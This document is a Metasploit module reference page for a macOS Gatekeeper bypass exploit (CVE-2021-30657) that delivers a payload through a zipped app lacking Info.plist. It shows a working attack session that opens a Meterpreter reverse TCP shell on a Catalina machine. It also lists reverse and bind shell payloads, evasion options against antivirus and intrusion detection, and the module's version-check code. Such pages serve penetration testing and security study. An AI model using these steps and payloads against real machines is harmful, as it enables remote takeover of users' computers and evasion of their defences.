macOS Gatekeeper check bypass - Metasploit
This page contains detailed information about how to use the exploit/osx/browser/osx_gatekeeper_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: macOS Gatekeeper check bypass
Module: exploit/osx/browser/osx_gatekeeper_bypass
Source code: modules/exploits/osx/browser/osx_gatekeeper_bypass.rb
Disclosure date: 2021-03-25
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-30657
This module serves an OSX app (as a zip) that contains no Info.plist, which bypasses gatekeeper in macOS < 11.3. If the user visits the site on Safari, the zip file is automatically extracted, and clicking on the downloaded file will automatically launch the payload. If the user visits the site in another browser, the user must click once to unzip the app, and click again in order to execute the payload.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/osx/browser/osx_gatekeeper_bypass
msf exploit(osx_gatekeeper_bypass) > exploit
Knowledge Base
Vulnerable Application
This module serves an OSX app (as a zip) that contains no Info.plist, which bypasses gatekeeper in macOS < 11.3.
If the user visits the site on Safari, the zip file is automatically extracted, and clicking on the downloaded file will automatically launch the payload. If the user visits the site in another browser, the user must click once to unzip the app, and click again in order to execute the payload.
Verification Steps
- Start
msfconsole
use exploit/osx/browser/osx_gatekeeper_bypass
set LHOST <tab>
set SRVHOST <tab>
exploit
- Visit the URL on a vulnerable version of macOS
Options
No options
Scenarios
macOS Catalina 10.15.6
msf6 > use exploit/osx/browser/osx_gatekeeper_bypass
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > set srvhost 192.168.37.1
srvhost => 192.168.37.1
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > options
Module options (exploit/osx/browser/osx_gatekeeper_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
APP_NAME app no The application name (Default: app)
SRVHOST 192.168.37.1 yes The local host or network interface to listen on. This must be an a
ddress on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.37.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is
strerr)
Exploit target:
Id Name
-- ----
0 macOS x64 (Native Payload)
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.37.1:4444
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > [*] Using URL: http://192.168.37.1:8080/q670M8fEMu
[*] Server started.
[*] 192.168.37.132 osx_gatekeeper_bypass - Request /q670M8fEMu from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
[+] 192.168.37.132 osx_gatekeeper_bypass - macOS version 10.15.6 is vulnerable
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (810096 bytes) to 192.168.37.132
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.132:49380) at 2021-04-29 15:21:38 -0500
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/osx space @ spaces-Mac.local (uid=501, g 192.168.37.1:4444 -> 192.168.37.132:
id=20, euid=501, egid=20) @ spaces-M 49380 (192.168.37.132)
ac.local
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: space @ spaces-Mac.local (uid=501, gid=20, euid=501, egid=20)
meterpreter > sysinfo
Computer : spaces-Mac.local
OS : macOS Catalina (macOS 10.15.6)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
Go back to menu.
Msfconsole Usage
Here is how the osx/browser/osx_gatekeeper_bypass exploit module looks in the msfconsole:
msf6 > use exploit/osx/browser/osx_gatekeeper_bypass
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > show info
Name: macOS Gatekeeper check bypass
Module: exploit/osx/browser/osx_gatekeeper_bypass
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2021-03-25
Provided by:
Cedric Owens
timwr
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 macOS x64 (Native Payload)
1 Python payload
2 Command payload
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
APP_NAME app no The application name (Default: app)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module serves an OSX app (as a zip) that contains no
Info.plist, which bypasses gatekeeper in macOS < 11.3. If the user
visits the site on Safari, the zip file is automatically extracted,
and clicking on the downloaded file will automatically launch the
payload. If the user visits the site in another browser, the user
must click once to unzip the app, and click again in order to
execute the payload.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-30657
https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508
https://objective-see.com/blog/blog_0x64.html
Module Options
This is a complete list of options available in the osx/browser/osx_gatekeeper_bypass exploit:
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > show options
Module options (exploit/osx/browser/osx_gatekeeper_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
APP_NAME app no The application name (Default: app)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
Exploit target:
Id Name
-- ----
0 macOS x64 (Native Payload)
Advanced Options
Here is a complete list of advanced options supported by the osx/browser/osx_gatekeeper_bypass exploit:
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > show advanced
Module advanced options (exploit/osx/browser/osx_gatekeeper_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/browser/osx_gatekeeper_bypass module can exploit:
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > show targets
Exploit targets:
Id Name
-- ----
0 macOS x64 (Native Payload)
1 Python payload
2 Command payload
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/osx_gatekeeper_bypass exploit:
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/osx/x64/dupandexecve/bind_tcp normal No OS X dup2 Command Shell, Bind TCP Stager
4 payload/osx/x64/dupandexecve/reverse_tcp normal No OS X dup2 Command Shell, Reverse TCP Stager
5 payload/osx/x64/dupandexecve/reverse_tcp_uuid normal No OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
6 payload/osx/x64/exec normal No OS X x64 Execute Command
7 payload/osx/x64/meterpreter/bind_tcp normal No OSX Meterpreter, Bind TCP Stager
8 payload/osx/x64/meterpreter/reverse_tcp normal No OSX Meterpreter, Reverse TCP Stager
9 payload/osx/x64/meterpreter/reverse_tcp_uuid normal No OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
10 payload/osx/x64/meterpreter_reverse_http normal No OSX Meterpreter, Reverse HTTP Inline
11 payload/osx/x64/meterpreter_reverse_https normal No OSX Meterpreter, Reverse HTTPS Inline
12 payload/osx/x64/meterpreter_reverse_tcp normal No OSX Meterpreter, Reverse TCP Inline
13 payload/osx/x64/say normal No OS X x64 say Shellcode
14 payload/osx/x64/shell_bind_tcp normal No OS X x64 Shell Bind TCP
15 payload/osx/x64/shell_reverse_tcp normal No OS X x64 Shell Reverse TCP
Evasion Options
Here is the full list of possible evasion options supported by the osx/browser/osx_gatekeeper_bypass exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/browser/osx_gatekeeper_bypass) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
macOS version <MAC_OSX_VERSION> is not vulnerable
Here is a relevant code snippet related to the "macOS version <MAC_OSX_VERSION> is not vulnerable" error message:
55: return false unless user_agent =~ /Intel Mac OS X (.*?)\)/
56:
57: osx_version = Regexp.last_match(1).gsub('_', '.')
58: mac_osx_version = Rex::Version.new(osx_version)
59: if mac_osx_version >= Rex::Version.new('11.3')
60: print_warning "macOS version #{mac_osx_version} is not vulnerable"
61: elsif mac_osx_version < Rex::Version.new('10.15.6')
62: print_warning "macOS version #{mac_osx_version} is not vulnerable"
63: else
64: print_good "macOS version #{mac_osx_version} is vulnerable"
65: return true
macOS version <MAC_OSX_VERSION> is not vulnerable
Here is a relevant code snippet related to the "macOS version <MAC_OSX_VERSION> is not vulnerable" error message:
57: osx_version = Regexp.last_match(1).gsub('_', '.')
58: mac_osx_version = Rex::Version.new(osx_version)
59: if mac_osx_version >= Rex::Version.new('11.3')
60: print_warning "macOS version #{mac_osx_version} is not vulnerable"
61: elsif mac_osx_version < Rex::Version.new('10.15.6')
62: print_warning "macOS version #{mac_osx_version} is not vulnerable"
63: else
64: print_good "macOS version #{mac_osx_version} is vulnerable"
65: return true
66: end
67: return false
Unexpected User-Agent
Here is a relevant code snippet related to the "Unexpected User-Agent" error message:
69:
70: def on_request_uri(cli, request)
71: user_agent = request['User-Agent']
72: print_status("Request #{request.uri} from #{user_agent}")
73: unless check_useragent(user_agent)
74: print_error 'Unexpected User-Agent'
75: send_not_found(cli)
76: return
77: end
78:
79: app_name = datastore['APP_NAME'] || Rex::Text.rand_text_alpha(5)
Go back to menu.
Related Pull Requests
References
- CVE-2021-30657
- https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508
- https://objective-see.com/blog/blog_0x64.html
See Also
Check also the following modules related to this module:
- exploit/osx/browser/adobe_flash_delete_range_tl_op
- exploit/osx/browser/mozilla_mchannel
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/osx/browser/software_update
- exploit/linux/local/polkit_dbus_auth_bypass
- exploit/multi/http/coldfusion_rds_auth_bypass
- exploit/multi/http/openfire_auth_bypass
- exploit/multi/http/tomcat_jsp_upload_bypass
- exploit/osx/local/sudo_password_bypass
- exploit/unix/misc/polycom_hdx_auth_bypass
- exploit/unix/webapp/wp_infinitewp_auth_bypass
- exploit/windows/local/applocker_bypass
Related Nessus plugins:
Authors
- Cedric Owens
- timwr
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.